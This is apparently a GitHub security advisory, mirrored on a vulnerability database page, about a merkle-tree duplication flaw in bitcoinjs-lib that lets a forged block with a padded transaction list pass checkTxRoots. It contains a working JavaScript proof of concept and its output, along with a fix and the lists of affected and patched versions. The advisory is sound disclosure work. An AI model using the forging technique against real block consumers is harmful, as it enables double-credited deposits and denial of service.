GHSA-8VV3-6QPC-GPW6

Vulnerability from github – Published: 2026-11-10 15:57 – Updated: 2026-11-10 15:57
VLAI
Summary
bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list
Details

Summary

fastMerkleRoot pads an odd level by hashing the last node with itself. It does not report that it did so, and checkTxRoots never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and checkTxRoots accepts all three. Bitcoin Core rejects this case through the mutated flag in ComputeMerkleRoot and the bad-txns-duplicate reason in CheckBlock. This is CVE-2012-2459.

Details

A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in ComputeMerkleRoot, which scans each level for two adjacent equal hashes before padding and raises a mutated flag when it finds a pair, and CheckBlock then rejects the block with bad-txns-duplicate.

uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
    bool mutation = false;
    while (hashes.size() > 1) {
        if (mutated) {
            for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
                if (hashes[pos] == hashes[pos + 1]) mutation = true;
            }
        }
        if (hashes.size() & 1) {
            hashes.push_back(hashes.back());
        }
        ...

The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.

fastMerkleRoot performs the duplication and reports nothing.

while (length > 1) {
  let j = 0;
  for (let i = 0; i < length; i += 2, ++j) {
    const left = results[i];
    const right = i + 1 === length ? left : results[i + 1];
    const data = tools.concat([left, right]);
    results[j] = digestFn(data);
  }
  length = j;
}
return results[0];

Block.calculateMerkleRoot returns that value unchanged, and __checkMerkleRoot only compares it to the header field.

private __checkMerkleRoot(): boolean {
  if (!this.transactions) throw errorMerkleNoTxes;
  const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
  return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}

Nothing anywhere in ts_src looks for an adjacent duplicate pair or for a repeated txid. checkTxRoots is the library's advertised block integrity gate and it inherits the gap.

PoC

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');

// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.
const f = JSON.parse(fs.readFileSync(
  'test/fixtures/core/blocks.json', 'utf8'))[0];

const honest = Block.fromHex(f.hex);
console.log('honest block id       :', honest.getId());
console.log('id matches fixture    :', honest.getId() === f.id);
console.log('transactions          :', honest.transactions.length);
console.log('merkle root           :', hex(honest.merkleRoot));
console.log('checkTxRoots()        :', honest.checkTxRoots());
console.log('serialized bytes      :', honest.toBuffer().length);

// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
  forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());

console.log('');
console.log('forged block id       :', parsed.getId());
console.log('transactions          :', parsed.transactions.length);
console.log('merkle root           :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots()        :', parsed.checkTxRoots());
console.log('serialized bytes      :', parsed.toBuffer().length);

const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id                 :', honest.getId() === parsed.getId());
console.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());

Output on bitcoinjs-lib v7.0.1:

honest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
id matches fixture    : true
transactions          : 9
merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots()        : true
serialized bytes      : 3054

forged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
transactions          : 10
merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots()        : true
serialized bytes      : 3313

same block id                 : true
different serialized bytes    : true
different transaction lists   : true
duplicate txid inside forged  : true
both accepted by checkTxRoots : true

The honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.

Impact

Most real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on checkTxRoots sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published ComputeMerkleRoot and CheckBlock source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from checkTxRoots when a pair is found, matching the mutated output parameter Core threads from ComputeMerkleRoot into CheckBlock.

Fix

Report the padding case out of the root computation and act on it.

export function fastMerkleRoot(
  values: Uint8Array[],
  digestFn: (b: Uint8Array) => Uint8Array,
  mutated?: { value: boolean },
): Uint8Array {
  ...
  while (length > 1) {
    let j = 0;
    for (let i = 0; i < length; i += 2, ++j) {
      const left = results[i];
      const right = i + 1 === length ? left : results[i + 1];
      if (i + 1 < length && tools.compare(left, right) === 0 && mutated)
        mutated.value = true;
      results[j] = digestFn(tools.concat([left, right]));
    }
    length = j;
  }
  return results[0];
}

Thread the flag through Block.calculateMerkleRoot and have __checkMerkleRoot return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way CheckBlock rejects it with bad-txns-duplicate. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.

Affected versions

  • Versions 2.3.0 through 5.2.0.
  • Versions 6.0.0 through 6.1.7, including 6.1.0-rc.0.
  • Versions 7.0.0-rc.0 through 7.0.1.

The affected block-root verifier was introduced in 2.3.0 as Block.checkMerkleRoot(), alongside Block.calculateMerkleRoot(). Later versions expose block-root validation through Block.checkTxRoots().

Remediation

Upgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line.

The fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "bitcoinjs-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "bitcoinjs-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "bitcoinjs-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-rc.0"
            },
            {
              "fixed": "7.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:57:25Z",
    "nvd_published_at": "2026-11-04T19:17:18Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459.\n\n### Details\nA bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`.\n\n```cpp\nuint256 ComputeMerkleRoot(std::vector\u003cuint256\u003e hashes, bool* mutated) {\n    bool mutation = false;\n    while (hashes.size() \u003e 1) {\n        if (mutated) {\n            for (size_t pos = 0; pos + 1 \u003c hashes.size(); pos += 2) {\n                if (hashes[pos] == hashes[pos + 1]) mutation = true;\n            }\n        }\n        if (hashes.size() \u0026 1) {\n            hashes.push_back(hashes.back());\n        }\n        ...\n```\n\nThe forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.\n\n`fastMerkleRoot` performs the duplication and reports nothing.\n\n```js\nwhile (length \u003e 1) {\n  let j = 0;\n  for (let i = 0; i \u003c length; i += 2, ++j) {\n    const left = results[i];\n    const right = i + 1 === length ? left : results[i + 1];\n    const data = tools.concat([left, right]);\n    results[j] = digestFn(data);\n  }\n  length = j;\n}\nreturn results[0];\n```\n\n`Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field.\n\n```js\nprivate __checkMerkleRoot(): boolean {\n  if (!this.transactions) throw errorMerkleNoTxes;\n  const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);\n  return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;\n}\n```\n\nNothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library\u0027s advertised block integrity gate and it inherits the gap.\n\n### PoC\n```js\nimport { createRequire } from \u0027module\u0027;\nconst require = createRequire(import.meta.url);\nimport { Block } from \u0027bitcoinjs-lib/src/block\u0027;\nconst fs = require(\u0027fs\u0027);\nconst hex = (u) =\u003e Buffer.from(u).toString(\u0027hex\u0027);\n\n// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.\nconst f = JSON.parse(fs.readFileSync(\n  \u0027test/fixtures/core/blocks.json\u0027, \u0027utf8\u0027))[0];\n\nconst honest = Block.fromHex(f.hex);\nconsole.log(\u0027honest block id       :\u0027, honest.getId());\nconsole.log(\u0027id matches fixture    :\u0027, honest.getId() === f.id);\nconsole.log(\u0027transactions          :\u0027, honest.transactions.length);\nconsole.log(\u0027merkle root           :\u0027, hex(honest.merkleRoot));\nconsole.log(\u0027checkTxRoots()        :\u0027, honest.checkTxRoots());\nconsole.log(\u0027serialized bytes      :\u0027, honest.toBuffer().length);\n\n// Attacker duplicates the last transaction and relays the result.\nconst forged = Block.fromHex(f.hex);\nforged.transactions = forged.transactions.concat([\n  forged.transactions[forged.transactions.length - 1],\n]);\n// Round trip through the real parser, exactly as a P2P block message arrives.\nconst parsed = Block.fromHex(forged.toHex());\n\nconsole.log(\u0027\u0027);\nconsole.log(\u0027forged block id       :\u0027, parsed.getId());\nconsole.log(\u0027transactions          :\u0027, parsed.transactions.length);\nconsole.log(\u0027merkle root           :\u0027, hex(parsed.merkleRoot));\nconsole.log(\u0027recomputed merkle root:\u0027, hex(Block.calculateMerkleRoot(parsed.transactions)));\nconsole.log(\u0027checkTxRoots()        :\u0027, parsed.checkTxRoots());\nconsole.log(\u0027serialized bytes      :\u0027, parsed.toBuffer().length);\n\nconst ids = parsed.transactions.map((t) =\u003e t.getId());\nconsole.log(\u0027\u0027);\nconsole.log(\u0027same block id                 :\u0027, honest.getId() === parsed.getId());\nconsole.log(\u0027different serialized bytes    :\u0027, honest.toHex() !== parsed.toHex());\nconsole.log(\u0027different transaction lists   :\u0027, honest.transactions.length !== parsed.transactions.length);\nconsole.log(\u0027duplicate txid inside forged  :\u0027, new Set(ids).size !== ids.length);\nconsole.log(\u0027both accepted by checkTxRoots :\u0027, honest.checkTxRoots() \u0026\u0026 parsed.checkTxRoots());\n```\n\nOutput on bitcoinjs-lib v7.0.1:\n\n```\nhonest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\nid matches fixture    : true\ntransactions          : 9\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3054\n\nforged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\ntransactions          : 10\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\nrecomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3313\n\nsame block id                 : true\ndifferent serialized bytes    : true\ndifferent transaction lists   : true\nduplicate txid inside forged  : true\nboth accepted by checkTxRoots : true\n```\n\nThe honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.\n\n### Impact\nMost real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on `checkTxRoots` sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library\u0027s use than transaction handling. Bitcoin Core\u0027s rejection is taken from its published `ComputeMerkleRoot` and `CheckBlock` source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from `checkTxRoots` when a pair is found, matching the `mutated` output parameter Core threads from `ComputeMerkleRoot` into `CheckBlock`.\n\n### Fix\n\nReport the padding case out of the root computation and act on it.\n\n```js\nexport function fastMerkleRoot(\n  values: Uint8Array[],\n  digestFn: (b: Uint8Array) =\u003e Uint8Array,\n  mutated?: { value: boolean },\n): Uint8Array {\n  ...\n  while (length \u003e 1) {\n    let j = 0;\n    for (let i = 0; i \u003c length; i += 2, ++j) {\n      const left = results[i];\n      const right = i + 1 === length ? left : results[i + 1];\n      if (i + 1 \u003c length \u0026\u0026 tools.compare(left, right) === 0 \u0026\u0026 mutated)\n        mutated.value = true;\n      results[j] = digestFn(tools.concat([left, right]));\n    }\n    length = j;\n  }\n  return results[0];\n}\n```\n\nThread the flag through `Block.calculateMerkleRoot` and have `__checkMerkleRoot` return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way `CheckBlock` rejects it with `bad-txns-duplicate`. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.\n\n### Affected versions\n\n- Versions 2.3.0 through 5.2.0.\n- Versions 6.0.0 through 6.1.7, including 6.1.0-rc.0.\n- Versions 7.0.0-rc.0 through 7.0.1.\n\nThe affected block-root verifier was introduced in 2.3.0 as `Block.checkMerkleRoot()`, alongside `Block.calculateMerkleRoot()`. Later versions expose block-root validation through `Block.checkTxRoots()`.\n\n### Remediation\n\nUpgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line.\n\nThe fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.",
  "id": "GHSA-8vv3-6qpc-gpw6",
  "modified": "2026-11-10T15:57:25Z",
  "published": "2026-11-10T15:57:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107846"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bitcoinjs/bitcoinjs-lib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…